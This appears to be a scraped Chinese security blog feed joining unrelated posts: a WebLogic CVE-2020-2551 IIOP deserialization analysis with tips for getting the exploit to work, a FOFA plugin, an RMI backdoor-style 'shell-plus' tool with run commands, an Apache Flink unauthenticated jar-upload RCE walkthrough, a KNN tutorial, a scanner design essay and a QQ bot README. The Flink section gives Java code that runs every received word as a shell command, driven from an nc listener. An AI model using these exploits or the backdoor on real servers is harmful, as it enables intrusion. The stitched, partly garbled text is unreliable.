coherence.jar(12.2.1.3.0) | 2302E408BCA7C6A82081A20CE0811B0E | 2017-08-15 |
coherence.jar(12.2.1.4.0) | B28EE46B9B9BD5C24DF3BFEE10075BA4 | 2019-09-12 |
建议目前已经安装最新版 weblogic 的管理员也需排查该漏洞,如有漏洞建议立即安装补丁或通过修复方案进行修复,防止被不法分子利用。
2020 年 1月14日,Oracle 发布了大量安全补丁,修复了 43 个严重漏洞,CVSS 评分均在在9.1以上。
其中 CVE-2020-2551 漏洞,互联网中公布了几篇针对该漏洞的分析文章以及POC,但公布的 POC 有部分不足之处,导致漏洞检测效率变低,不足之处主要体现在:
注:
1. 经过大量的测试,我们的 POC 可稳定运行在多个操作系统、多个 weblogic 版本、多个 JDK 版本以及 Docker 网络中。
2. 以上测试及分析环境全部基于内部环境。
通过 Oracle 官方发布的公告是可以看出该漏洞的主要是在核心组件中的,影响协议为 IIOP 。该漏洞原理上类似于RMI反序列化漏洞(CVE-2017-3241),和之前的T3协议所引发的一系列反序列化漏洞也很相似,都是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,并没有进行安全检查所导致的。
为了能够更好的理解本文稿中所描述 RMI、IIOP、GIOP、CORBA 等协议名称,下面来进行简单介绍。
IDL全称(Interface Definition Language)也就是接口定义语言,它主要用于描述软件组件的应用程序编程接口的一种规范语言。它完成了与各种编程语言无关的方式描述接口,从而实现了不同语言之间的通信,这样就保证了跨语言跨环境的远程对象调用。
在基于IDL构建的软件系统中就存在一个OMG IDL(对象管理组标准化接口定义语言),其用于CORBA中。
就如上文所说,IDL是与编程语言无关的一种规范化描述性语言,不同的编程语言为了将其转化成IDL,都制定了一套自用的编译器用于将可读取的OMG IDL文件转换或映射成相应的接口或类型。Java IDL就是Java实现的这套编译器。
Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。
Java远程方法协议(英语:Java Remote Method Protocol,JRMP)是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议(英语:Wire protocol)。
Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。
目前基于 JNDI 实现的几本为 rmi 与 ldap 的目录服务系统,构建 rmi 、ldap 比较常用的的工具有 marshalsec 、ysoserial。
更多信息建议查阅Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)。
ORB全称(Object Request Broker)对象请求代理。ORB是一个中间件,他在对象间建立一个CS关系,或者更简单点来说,就是一个代理。客户端可以很简单的通过这个媒介使用服务器对象的方法而不需要关注服务器对象是在同一台机器上还是通过远程网络调用的。ORB截获调用后负责找到一个对象以满足该请求。
GIOP全称(General Inter-ORB Protocol)通用对象请求协议,其功能简单来说就是CORBA用来进行数据传输的协议。GIOP针对不同的通信层有不同的具体实现,而针对于TCP/IP层,其实现名为IIOP(Internet Inter-ORB Protocol)。所以说通过TCP协议传输的GIOP数据可以称为IIOP。
而ORB与GIOP的关系是GIOP起初就是为了满足ORB间的通信的协议。所以也可以说ORB是CORBA通信的媒介。
CORBA全称(Common ObjectRequest Broker Architecture)也就是公共对象请求代理体系结构,是OMG(对象管理组织)制定的一种标准的面向对象应用程序体系规范。其提出是为了解决不同应用程序间的通信,曾是分布式计算的主流技术。
一般来说CORBA将其结构分为三部分,为了准确的表述,我将用其原本的英文名来进行表述:
naming service
client side
servant side
这三部分组成了CORBA结构的基础三元素,而通信过程也是在这三方间完成的。我们知道CORBA是一个基于网络的架构,所以以上三者可以被部署在不同的位置。servant side
可以理解为一个接收 client side
请求的服务端;naming service
对于 servant side
来说用于服务方注册其提供的服务,对于 client side
来说客户端将从 naming service
来获取服务方的信息。这个关系可以简单的理解成目录与章节具体内容的关系:目录即为 naming service
,servant side
可以理解为具体的内容,内容需要首先在目录里面进行注册,这样当用户想要访问具体内容时只需要首先在目录中查找到具体内容所注册的引用(通常为页数),这样就可以利用这个引用快速的找到章节具体的内容。
首先我们来分析 weblogic 神奇的 7001 端口,正常情况下我们通过 7001 端口发送 HTTP 协议时会响应 HTTP 协议的内容,发送 T3 协议的数据包时响应 T3 的响应数据包,发送 IIOP 协议的数据包时响应 IIOP 的数据包。该端口非常的神奇,我们通过什么协议访问该端口该端口会响应对应的协议包内容。
通过浏览器进行访问 weblogic 的 7001 端口可以发现响应的协议类型也为HTTP。
上图通过 IIOP 进行发包响应内容为为 IIOP 内容信息,IIOP 是一种通过 TCP/IP 连接交换 GIOP (通用对象请求代理间通信协议)信息的协议。
该漏洞主要是因为 Webloigc 默认开放 IIOP 协议,并且 JtaTransactionManager
并未做黑名单过滤导致漏洞发生,以下为整个测试 POC(该 POC 来自互联网),后续代码调试也是基于该代码进行调试。
1 | public static void main(String[] args) throws Exception { |
基于公布的POC,整个利用过程就为:
weblogic.jndi.WLInitialContextFactory
类进行 IIOP 协议数据交互。JtaTransactionManager
设置 RMI 加载地址。ysoserial
构建 Gadgets 并且通过 IIOP 进行绑定,并且触发漏洞。注:weblogic流程是基于 weblogic 12.2.1.3.0 进行测试研究。
修改目录 user_project/domains/bin
目录中 setDomainEnv.cmd
或者 setDomainEnv.sh
文件,加if %debugFlag == "false"%
之前加入 set debugFlag=true
,并且重新启动 weblogic,然后将 weblogic 复制到 idea 项目中,并且添加 Libraries
新增 Remote 方式进行远程调试。
docker 调试可参考 https://www.cnblogs.com/ph4nt0mer/archive/2019/10/31/11772709.html
前面我们说到 7001 神奇的端口,weblogic 默认是 7001 端口进行接收 IIOP 请求。可以通过 com.oracle.weblogic.iiop.jar!weblogic.iiop.ConnectionManager#dispatch
可以看到所有 IIOP 的请求信息。
然后在 weblogic.rmi.internal.wls.WLSExecuteRequest#run
进行调用 weblogic.rmi.internal.BasicServerRef#handleRequest
。
然后在通过 weblogic.rmi.internal.BasicServerRef#handleRequest
调用 weblogic.rmi.internal.BasicServerRef#handleRequest
最终调用 invoker.invoke
。
以下为到 invoker.invoke
的调用链:
最终实现的方法在 com.weblogic.rmi.cluster.ClusterableServerRef#invoke
方法中。
进入该方法之后会 objectMethods.get(iioprequest.getMethod())
进行获取是否为空,如果为空的话会调用this.delegate._invoke(iioprequest.getMethod(), iioprequest.getInputStream(), rh)
进行处理,由于在发送包的时候执行的操作类型 bind_any()
,该类型不存在 objectMethods
变量中最终会调用 this.delegate._invoke
,具体实现的类为weblogic.corba.cos.naming._NamingContextAnyImplBase#_invoke
:
在 _invoke
方法中获取执行的方法,我们执行的 bind_any
最终会执行到 case 0
的代码块中,最终调用n = WNameHelper.read(in);$result = in.read_any();this.bind_any(n, $result);out = $rh.createReply();
代码块。
其中 WNameHelper.read(in)
通过读取 IOR
中的信息用于注册到 ORB
的流程中。
in.read_any()
最后执行 weblogic.corba.idl.AnyImpl#read_value_internal
处理对应的流程:
以下为 read_any
到 read_value_internal
的调用链:
可以看到最后进行 weblogic.corba.idl.AnyImpl#read_value()
进行读取反序列化反序列化,然后通过以下调用链执行反射并且通过 weblogic.iiop.IIOPInputStream#read_value
通过反射进行获取实例。
通过实例化之后 Serializable news = (Serializable)ValueHandlerImpl.readValue(this, osc, s);
然后通过weblogic.iiop.ValueHandlerImpl#readValue
进行读取内容
!
基于之前 JtaTransactionManager
进行读取流内容进行 this.readObjectMethod.invoke(obj, in)
然后进入 JtaTransactionManager
处理流程
进入 com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager#readObject
整个流程为:
进入 com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager#readObject
后首先会默认读取 defaultReadObject
然后创建 JndiTemplate
提供 this.initUserTransactionAndTransactionManager
进行使用注入远程 JNDI 连接。
this.initUserTransactionAndTransactionManager
会进行调用远程的 JNDI 连接
看到 this.getJndiTemplate().lookup
,最终在 com.bea.core.repackaged.springframework.jndi.JndiTemplate#lookup
进行操作至此结束。
同样已经触发并且加载远程的Class
类。
在背景中,笔者说明 CVE-2020-2551 漏洞公开的 POC ,有部分不足导致漏洞检测效率降低,下面章节我们来进行深入分析。
在受影响 Oracle WebLogic Server 10.3.6.0.0 与 JDK 版本有非常大的关系,如果该机器版本为 1.6 版本必须要为 1.6 ,如果高于次版本会执行失败(低版本的 JDK 不兼容高版本的 JDK ),但是所有 LDAP 以及 HTTP 请求信息仍然有效。
解决方案为利用 POC 设置编译版本来进行处理:
javac Poc.java -source 1.6 -target 1.6
在安装 Oracle WebLogic Server 时需要进行需要指定 JDK 版本进行安装,如未有 JDK 会导致安装失败,安装时的 JDK 有非常大的关系,这次的漏洞主要是通过 JtaTransactionManager
来进行加载 LDAP 协议的内容,早在 JDK 1.7 时 Oracle 官方针对 RMI 、 LDAP 进行了限制,所在在使用时尽量使用 LDAP 协议。
经过测试研究发现以下情况:
jar 版本 | weblogic 版本 | 成功情况 |
---|---|---|
10.3.6.0.0 | 10.3.6.0.0 | 成功 |
10.3.6.0.0 | 12.1.3.0.0 | 成功 |
10.3.6.0.0 | 12.2.1.3.0 | 失败 |
10.3.6.0.0 | 12.2.1.4.0 | 失败 |
12.1.3.0.0 | 10.3.6.0.0 | 成功 |
12.1.3.0.0 | 12.1.3.0.0 | 成功 |
12.1.3.0.0 | 12.2.1.3.0 | 失败 |
12.1.3.0.0 | 12.2.1.4.0 | 失败 |
12.2.1.3.0 | 10.3.6.0.0 | 失败 |
12.2.1.3.0 | 12.1.3.0.0 | 失败 |
12.2.1.3.0 | 12.2.1.3.0 | 成功 |
12.2.1.3.0 | 12.2.1.4.0 | 成功 |
12.2.1.4.0 | 10.3.6.0.0 | 失败 |
12.2.1.4.0 | 12.1.3.0.0 | 失败 |
12.2.1.4.0 | 12.2.1.3.0 | 成功 |
12.2.1.4.0 | 12.2.1.4.0 | 成功 |
最后总结 10.3.6.0.0 或 12.1.3.0.0 版本测试成功 10.3.6.0.0 和 12.1.3.0.0,12.2.1.3.0 或 12.2.1.4.0 版本测试成功 12.2.1.3.0 和 12.2.1.4.0,我把这种情况分为了两大版本,10.3.6.0.0 和 12.1.3.0.0 为一个版本(低版本),12.2.1.3.0 和 12.2.1.4.0 为另外一个版本,所以完整的 POC 需要兼容俩个版本的验证,比较好一点的做法就是通过抓包然后将2个包的内容进行多次发送,或者在利用的前提得知 Weblogic 使用的操作版本,一般 weblogic 的版本会在 https?://host//console/login/LoginForm.jsp
页面会现实版本。
在测试过程中,可能都使用请求 LDAP 协议读取远程的 class 文件,然后才可以执行验证代码,这样做会导致多次发包给 DNSLOG 平台进行验证,可能会导致验证的问题。
在前面讲到解析的流程中,我们看到有 lookup
去LDAP读取远程的 class 文件。如果请求的协议为不存在的某一个协议的话就会出现以下情况:
通过 Wireshark 查看,如果发送不存在的协议会响应回复 System Exception
错误信息:
如果成功会进行响应 User Exception
信息:
那么可以基于该情况进行通过转换构造异常来进行判断漏洞是否存在。
NAT 网络问题是一个非常要命的问题,因为 weblogic 在运行时都是在内网运行的的,外网访问的 weblogic 全部都是转发出去的,这样就会出现一个问题配置的 IP 都为内网地址,就会导致无法正常测试成功。
注:NAT 网络测试仅通过 Docker 进行测试,并未针对互联网进行测试。
正常使用工具进行测试时会出现会响应内网绑定 IP 地址然后一直进行 redict,并且在最后抛出 time out
问题。
针对这种情况只能通过自定义实现 GIOP 协议来绕过该方式:
通过 Wireshark 我们可以看到之前测试靶场时会发包以下内容:
我们可以基于之前发送的 op=_non_existent
进行重新构造,修改 iiop 地址:
在重新 op=_non_existent
发包时需要首先获取 Key Address
(key 存在有效期时间)否则会进行一直进行 Location Forward
,获取 Key
信息并且修改 iiop 地址打开 IIOP 通道,最后进行发送恶意序列化内容。
通过 socket 发包的形式进行发包时,如需要进行替换 LDAP URL 时,正常修改 URL 会一直导致发包响应错误,需要通过 #
进行 panding 构造指定字节长度的 URL 然后通过 #
填充。1
2
3
4
5
6String append = "";
for (int i = ldapUrl.length(); i < 0x60; i++) {
append += "#";
}
String url = ldapUrl+append;
System.out.println(url);
截止 2020 年 3 月 4 日,通过 Oracle 官方进行下载 weblogic 时,通过研究发现该漏洞依然存在可以利用(所有受影响版本),需要额外安装补丁。
如下文件为下文件MD5值以及下载时间:
文件名称 | MD5 | SHA1 | 创建时间 |
---|---|---|---|
wls1036_generic.jar | 33D45745FF0510381DE84427A7536F65 | FFBC529D598EE4BCD1E8104191C22F1C237B4A3E | 2020-03-04 |
fmw_12.1.3.0.0_wls.jar | 8378FE936B476A6F4CA5EFA465A435E3 | 5B1761BA2FC31DC8C32436159911E55097B00B1E | 2020-03-04 |
fmw_12.2.1.3.0_wls.jar | 6E7105521029058AD64A5C6198DB09F7 | 74345654AF2C60EA13CF172A7851039A64BFE7E1 | 2017-08-21 |
fmw_12.2.1.4.0_wls.jar | AA090712069684991BA27E4DE9ED3FF6 | CFAA5752D33DD5FFB7A57F91686E15B465367311 | 2019-09-13 |
建议目前已经安装最新版 weblogic 时同排查该漏洞,如有漏洞建议立即安装补丁或通过修复方案进行修复,防止被不法分子利用。
The Fofa Pro View plugin tells you where the website is hosted (country, city), who owns the IP and what other services/ ports are open.
The Fofa Pro View plugin for Chrome automatically checks whether Fofa Pro has any information for the current website. Is the website also running FTP, DNS, SSH or some unusual service? With this plugin you can see all the info that Fofa Pro has collected on a given website/ domain.
项目地址:https://github.com/0nise/fofa_view
FOFA Pro view 0.0.2版本已更新,Firefox可直接在商城更新,Chrome 预计2019年2月6或2月7日可进行安装更新。
下载地址:https://github.com/0nise/fofa_view/releases
更新日志:
下载版本:https://github.com/0nise/fofa_view/releases
解压插件压缩包,打开 chrome://extensions/ 并且开启开发者模式,点击 加载已解压的扩展程序
选择已经解压的插件目录进行加载。
下载版本:https://github.com/0nise/fofa_view/releases
解压插件压缩包,打开 about:debugging#/runtime/this-firefox 点击临时载入附加组件…
选择下载的插件压缩包。
2019-01-04
该工具用于服务器管理、攻防后门安全测试技术研究,禁止用于非法犯罪。
RMI(Remote Method Invocation)远程方法调用。能够让在客户端Java虚拟机上的对象像调用本地对象一样调用服务端java 虚拟机中的对象上的方法。
RMI远方法程调用步骤:
举个例子:
假设A公司是某个行业的翘楚,开发了一系列行业上领先的软件。B公司想利用A公司的行业优势进行一些数据上的交换和处理。但A公司不可能把其全部软件都部署到B公司,也不能给B公司全部数据的访问权限。于是A公司在现有的软件结构体系不变的前提下开发了一些RMI方法。B公司调用A公司的RMI方法来实现对A公司数据的访问和操作,而所有数据和权限都在A公司的控制范围内,不用担心B公司窃取其数据或者商业机密。
工具借用 RMI 的调用原理,所有的数据操作都是发生在服务端进行完成的,客户端通过注册中心进行调用服务端的代码在服务端 进行执行,最后将相应结果进行返回。
通过编写服务器管理代码,代码进行注册到服务中,然后由客户端进行调用该服务端代码执行操作。
开源地址:https://github.com/0nise/shell-plus
自行编译:
1 | git clone https://github.com/0nise/shell-plus |
发行版本:https://github.com/0nise/shell-plus/releases
开启服务端:1
java -cp shell-plus-1.0.jar Main <port> <ip> [pwd]
例子:1
java -cp shell-plus-1.0.jar Main 3333 127.0.0.1 123456
连接服务端管理服务器:1
java -cp shell-plus-1.0.jar Client <port> <ip> <name> [pwd]
1
java -cp shell-plus-1.0.jar Main 3333 127.0.0.1 3I3IF5liOOrw731Y 123456
其中 pwd
参数可以不填默认为空,但不推荐。
Flink 核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。基于流执行引擎,Flink 提供了诸多更高抽象层的 API 以便用户编写分布式任务:
DataSet API: 对静态数据进行批处理操作,将静态数据抽象成分布式的数据集,用户可以方便地使用Flink提供的各种操作符对分布式数据集进行处理,支持Java、Scala和Python。
DataStream API: 对数据流进行流处理操作,将流式的数据抽象成分布式的数据流,用户可以方便地对分布式数据流进行各种操作,支持Java和Scala。
Table API:对结构化数据进行查询操作,将结构化数据抽象成关系表,并通过类SQL的DSL对关系表进行各种查询操作,支持Java和Scala。
本次漏洞情况是由于 Apache Flink Web Dashboard 未授权访问,上传恶意jar导致远程代码命令执行。
环境要求:JDK 8
官网下载地址:http://flink.apache.org/downloads.html
或者通过wget
进行下载:wget https://mirrors.tuna.tsinghua.edu.cn/apache/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz
然后进行解压:tar zxvf flink-1.9.1-bin-scala_2.11.tgz
然后启动1
2cd f flink-1.9.1-bin-scala_2.11/bin
./start-cluster.sh
最后访问本机:http://localhost:8081/ 如果可以正常访问表示安装成功。
Flink 可以通过上传 jar 的方式来进行执行任务,我们可以构造利用代码进行上传执行。
添加 Archetype:
基于添加的flink-quickstart-java
进行创建项目,然后点击 Next
设置项目GroupId
以及ArtifactId
,然后点击 Next
配置项目maven,然后点击 Next
设置项目名称以及项目路径,然后点击Finish
项目创建成功:
创建 SocketTextStreamExecute 类写入一下代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36public static void main(String[] args) throws Exception {
final StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment();
DataStreamSource<String> stream = env.socketTextStream("ip", 7777);
stream.flatMap(new LineSplitter());
env.execute("execute code");
}
public static final class LineSplitter implements FlatMapFunction<String, Tuple2<String, Integer>> {
@Override
public void flatMap(String s, Collector<Tuple2<String, Integer>> collector) {
String[] tokens = s.toLowerCase().split("\\W+");
for (String token : tokens) {
if (token.length() > 0) {
try {
Process p = Runtime.getRuntime().exec(token);
//取得命令结果的输出流
InputStream fis=p.getInputStream();
//用一个读输出流类去读
InputStreamReader isr=new InputStreamReader(fis);
//用缓冲器读行
BufferedReader br=new BufferedReader(isr);
String line=null;
//直到读完为止
while((line=br.readLine())!=null)
{
System.out.println(line);
}
} catch (IOException e) {
e.printStackTrace();
}
System.out.println("token --> "+token);
}
}
}
}
最后通过 mvn clean package -DskipTests
将代码编译为 jar 文件。
开启NC 监听端口1
nc -nlvp 7777
将 jar 通过web上传到任务中心,然后将Entity Class 修改为 com.r4v3zn.SocketTextStreamExecute
点击 Submit
进行执行任务。
执行任务之后,我们监听到 NC 端口将响应信息:
执行命令 ifconfig
之后通过日志进行查看执行结果。
K最近邻算法,就是K个最近的邻居的意思,每个样本数据都可以用它最接近的K个邻居来进行代表。
通过上图中可以清晰的看出图中的数据分为两类,一类为红色一类为蓝色。现在需要我们确定出来绿色点的为哪一类颜色,可以根据绿色点临近的K个点进行来确认,当我们确认K数字为3是可以看出距离绿色点最近的分布为蓝色、红色、红色,那么就可以进行标记绿色点为红色。
关于K的取值是一个非常重要的,当我们K的数值选取较小的时候可能会导致数据分类出现巨大的错误,在scikit-learn中,K最近邻算法的K值是通过n_neighbors参数来进行调节设置,默认值为5。
K最近邻算法也可以用于回归,原理和其用于分类的是相同的。当我们使用K最近邻回归计算某个数据点的预测值时,模型会选择该数据最近的若干个训练数据集中的点,并且进行计算他们的y值取平均值,并且把该平均值作为新数据的预测值。
可以通过sicikit-learn进行手动生成数据集来使用K最近邻算法进行分类。
1 | from sklearn.datasets import make_blobs |
使用sklearn
中的make_blobs
函数来进行生成数量为200的样本数据,将数据进行分成两类的数据集,然后将数据集赋值给 x y
然后通过matplotlib
将数据图形进行展示。
make_blobs
函数是为聚类产生数据集,主要参数作用如下:
上图可以看出通过make_blobs
生成的数据分为两类,我们可以将这些数据用于算法进行模型的训练,然后针对新的或未知的数据分类或者回归。
接下来通过K最近邻算法来进行拟合这些数据:
1 | from sklearn.datasets import make_blobs |
其中np.meshgrid
用于生成网格坐标矩阵,具体生成方式如下图:
执行代码,会出现以下结果:
通过上述代码可以看到K最近邻算法基于生成的数据集创建了一个分类模型,将数据分成两部分使用不同的颜色进行区分,如果有新的数据进行输入,模型会自动将新数据进行分类到对应的类别中。
假设有一个新的数据点,特征值为6.95
和5.2
,进行试验模型是否可以将新的数据进行正确的分类,首先我们可以在plt.show()
之前加入以下代码:
1 | plt.scatter(6.95, 5.2, marker="*", c='red', s=200) |
再次运行程序,会出现下图:
图中★
为新的数据位置,可以看到K最近邻算法将它放在了上方的区域,与上方的区域归为了一类。
通过代码进行验证:
1 | print('='*30) |
运行结果:
接下来我们来处理多元分类,为了将难度加大,修改make_blobs
中的centers
参数生成1,000个数据样本,数据类型扩展到10类:
1 | from sklearn.datasets import make_blobs |
运行程序,生成我们生成数据集展示图:
可以看到新的数据被分成了10类,其中有3类数据有一些重合,然后通过K最近邻算法进行拟合数据:
1 | from sklearn.datasets import make_blobs |
运行程序会出现K最近邻算法拟合结果:
可以看到K最近邻算法将大部分的数据点分类到正确的分类中,单有一部分小数据分入了错误的分类中,分类错误的数据基本为重合的数据点。
我们可以通过代码计算K最近邻算法的正确率:
1 | print('=' * 30) |
可以看出将数据集样本提升到1,000条,分类提升到10中数据类型,模型的正确率为91.7%
。
通过scikit-learn中的make_regression
进行生成用于回归分析的数据集。
1 | from sklearn.datasets import make_regression |
将样本的特征数量为1个,噪音为50,然后运行程序。
上图可以看到横轴(X轴)为样本的特征数值,大致范围在-3~3之间;纵轴(Y轴)为样本的测定值,大致范围在-250~250之间。
然后通过K最近邻算法来进行回归测试:
1 | from sklearn.datasets import make_regression |
运行程序,生成拟合结果。
从图中可以看出K最近邻算法拟合生成的数据,直观来看拟合结果并不是很好,有大量的数据点没有被覆盖到。
通过score
来进行计算模型分数:
1 | print('=' * 30) |
看也看到模型的正确率只有77.2%
,该结果比较差。为了提高正确率可以进行降低K最近邻算法的n_neighbors
来提高准确率。
1 | from sklearn.datasets import make_regression |
代码通过将K最近邻算法的n_neighbors
调整到2,运行程序,生成拟合结果以及模型争取率。
可以看到相对第一次来说覆盖的数据点变多,准确率从77.2%
提升到85.8%
。
数据集来自scikit-learn中内置的数据集来进行试验,该数据中在datasets
模块中。
首先加载酒数据集到项目中:
1 | from sklearn.datasets import load_wine |
运行代码可以看到加载的数据。
可以看到数据集中主要有'data', 'target', 'target_names', 'DESCR', 'feature_names'
,对应数据,分类目标,分类名称,描述,特征名称
,以及178个样本数据,每条样本数据中有13个特征,主要分为3类(class_0,class_1,class_2
),其中class_0
有59个样本,class_1
有71个样本,class_2
中有48个样本。
特征主要包括酒精含量、苹果酸、镁含量、青花素含量、色彩饱和度等等。
创建一个自动将酒分类的机器算法模型之前,需要能够对模型的可信度进行评判,否则我们无法知道针对新的酒进行的分类是否正确。
所以我们需要将数据集拆分为两部分:一部分称为训练集;另一部分为测试集。
使用scikit-learn中的train_test_split
函数进行拆分数据集,该函数可以将数据集进行随机排列,默认情况下75%的数据以及对应的标签划分到训练集,25%的数据集划分到测试集中。
1 | from sklearn.datasets import load_wine |
可以看出在样本总数量178个中训练集以及对应的标签有133个约占(74.7%),测试集以及标签共有45个,约占(25.3%),特征数量为13个。
使用scikit-learn的K最近邻算法进行分类,然后基于训练数据集进行训练建模,在训练数据集中进行寻找和新输入的数据最近的数据点,然后将这个数据点的标签分配给新的数据点,以此对新的样本进行分类。
1 | from sklearn.datasets import load_wine |
导入KNN分类模型,然后将n_neighbors
参数值设置为1,n_neighbors
为K最近邻算法中的近邻数据。
然后通过knn
来进行“拟合(fit
)”的方法来进行建模,建模的依据就是训练集中样本数据X_train
以及对应的y_train
:
1 | from sklearn.datasets import load_wine |
将训练好的模型用于进行训练测试集样本的准确率,来针对模型进行打分:
1 | from sklearn.datasets import load_wine |
可以看到模型针对测试集样本的预测正确的概率为75.5%。
假设目前有一瓶新的红酒以及对应的特征进行使用模型预测:
1 | X_new = np.array([[13.2, 2.77, 2.51, 18.5, 96.6, 1.04, 2.55, 0.57, 1.47, 6.2, 1.05, 3.33, 820]]) |
本文章主要讲解一款漏洞验证框架的构思,并未详解内部的实现细节,本文篇幅稍长,请耐心看。
做一款漏洞扫描器,首先要了解该扫描需要达到的效果。它的需求什么?需要支持什么?
可能需求如下:
上面简单明确了一些一款漏洞扫描器的需求,需求的实现最好根据需求选取适合的技术来进行实现。
跨平台的开发语言有很多,例如C、C++、Java、Python、Go 等等。
开发语言的选择,需要根据框架需要满足的运行效率、开发效率等多种角度来进行考虑。
如果需要很高的运行效率以及开发效率高的情况下,可以选择使用 Java 或 Python 等语言,如果需要追求极高的效率可以使用 Go 语言。
Java 程序实际是在 Java 虚拟机( JRE 是软件实现)中运行,Java 虚拟机类似一个模拟执行环境,在不同的操作系统上拥有不同的 Java 虚拟机实现,但是这些 Java 虚拟机遵循统一的规范来解释 class 文件,并将 class 文件中的指令转换为本地操作系统对应的指令,这样就实现了相同的 class 文件,可以通过 Java 虚拟机转换为对应操作系统上的对应指令,实现 class 文件,也就是 Java 程序的跨平台性。
Python 是一门跨平台的脚本语言,Python 规定了一个 Python 语法规则,实现了 Python 语法的解释程序就成为了 Python 的解释器。
自定义POC、EXP本质就是基于模版进行编写的POC,能够让扫描框架识别并且运行。模版的组成一般分为漏洞基本信息、POC验证信息、Exp利用信息。
多种运行方式,支持多进程、多线程、分布式运行等方式。如果扫描器需要大规模的的扫描、探测建议使用分布式节点的方式进行操作。一般情况下,多线程、多进程可以满足大部分的需求。
一般分布式适用于大型的企业内网或大范围的扫描探测。
可视化技术的选型,目前有三种比较流行的方案。
第一种为使用语言自带的可视化编程模块(QT)进行开发可视化程序。
第二种为使用 Electron 或 nw.js 进行开发可视化应用,其中比较有名的FOFA Pro 客户端、GoBy 、中国蚁剑等就是基于此方案进行开发的, Electron 的官网有很多基于此框架开发的程序。
第三种为采用 B/S 架构进行开发,后端控制使用 WEB进行控制,节点使用 Python、Java 等语言进行开发,其中 BugScan、w8scan、巡风等都是基于B/S架构实现。
Electron 是由 Github 开发,用 HTML,CSS 和 JavaScript 来构建跨平台桌面应用程序的一个开源库。 Electron 通过将 Chromium 和 Node.js 合并到同一个运行时环境中,并将其打包为Mac,Windows 和 Linux 系统下的应用来实现这一目的。
Electron 于 2013 年作为构建 Github 上可编程的文本编辑器 Atom 的框架而被开发出来。这两个项目在 2014 春季开源。
目前它已成为开源开发者、初创企业和老牌公司常用的开发工具。
nw.js 基于 Chromium 和 Node.js。NW.js 利用 Web 技术结合 Node.js 及其模块进行桌面应用开发。
资产管理,用于管理扫描探测结果的资产信息,用于资产与对应 POC 关联使用。其中资产管理中主要含有资产识别规则,用于识别资产的信息。例如通过资产的标题、body、证书、header、banner进行制定规则用于识别。
整体框架分为并发引擎、插件中心、目标中心、漏洞验证四大模块。
并发引擎主要为漏洞验证程序运行时选择的运行方式,主要有多线程、多进程、分布式 3 种运行方式,使用多线程、多进程、分布式运行方式来保证漏洞验证程序的效率。
正常情况下使用多线程、多进程适用于大部分使用的场景。
分布式运行用于大型企业内网探测或大规模的网络探测。
插件中心分为模版中心、插件加载中心以及插件管理中心组成。
模版中心提供 POC、Exp模版信息,主要分为通用模版和编程语言模版俩种。
插件中心,提供用户选择性需要测试的插件进行加载。
插件管理中心进行管理自定义编写的 POC。
模版中心主要分为通用模版、编程语言模版,两大模块。其中各自组成都是由插件基本信息、POC 信息、Exp 信息三大部分组成。
插件基本信息由插件名称(漏洞名称)、类型、产品名称、等级、产品主页、描述等组成。
POC 信息由发包协议、发包方式、发包内容、逻辑判定等组成。
Exp 信息由POC 信息以及执行命令进行组成。
通常发包协议为 HTTP、HTTPS、TCP、UDP等,协议(部分)发包方式有 GET、POST、PUT、HEAD、DELETE、OPTIONS、TRACE、CONNECT等,逻辑判定由“与或非”。
插件加载通过用户选用方式(全部加载、指定加载)进行加载插件。
插件管理中心进行管理编写的插件信息,针对插件进行修改、删除、查询等操作。
目标中心主要负责分析目标加载、资产管理以及漏洞管理三大模块。
漏洞插件信息可以通过使用数据库配合 Git 来进行存储,数据库中进行存储插件的基本,Git 存放插件的具体代码信息,使用 Git 可以进行控制插件的版本,可进行回退等操作。
目前加载可以通过加载单ip、ip段以及文件导入的方式进行导入。
资产管理模块主要进行管理分析目标识别成功的资产信息、漏洞管理、以及识别规则管理。
日志管理模块主要管理整体框架的日志信息包含日志记录、查询等操作。
文中的流程图:https://github.com/0nise/scripts
本文描述的为我所构思的一款漏洞探测框架,如果有文章内描述不符以及问题,请各位师傅不要吝啬,烦请各位师傅斧正。
]]>https://github.com/0nise/ichunqiu_qqbot
i春秋社区机器人自
2018年02月04日
开始服务于i春秋社区,每日文章推送、文章查询、魔法币查询、作者信息查询、作家团奖金余额查询、奖金排行榜、i春秋课程查询等一列功能。据不完全统计,使用人数已经超过3.5万
,使用次数达到20万
,最大覆盖700+
个群。
自
2019年6月13日
起i春秋社区机器人与i春秋社区相关的功能全部关闭,i春秋社区机器人宣布正式开源,非常感谢对i春秋社区机器人的支持。同时i春秋社区机器人正式更名为Alpha机器人
,对于新的机器人正在构思中,有想法、建议的可以提交到Issues中,非常感谢。
非常感谢期间的运维NS-Sp4ce。
非常感谢提出各种需求坏蛋。
非常感谢王八蛋newbe36524的Newbe.Mahua.Framework框架的支持。
非常感谢CoolQ的支持。
非常感谢提交第一个漏洞的gh0stkey。
……
1 | 随机文章 --> 随机回复文章 |
1 | 随机教程 --> i春秋首页随机课程 |
1 | 发布 --> 发布推送信息(管理员权限) |
1 | 查询余额 --> 查询i春秋作家团余额(自己) |
1 | 今日使用 --> 今日使用机器人次数(管理员权限) |
1 | help --> 指令信息 |
操作系统:Windows 10
开发语言:CSharp
数据库:MySQL5.7
运行平台:酷Q Pro
开发工具:Visual Studio 2019
.NET版本:4.5.2
开发框架:基于王八蛋newbe36524的Newbe.Mahua.Framework框架开发
Newbe.Mahua.Framework:https://github.com/newbe36524/Newbe.Mahua.Framework
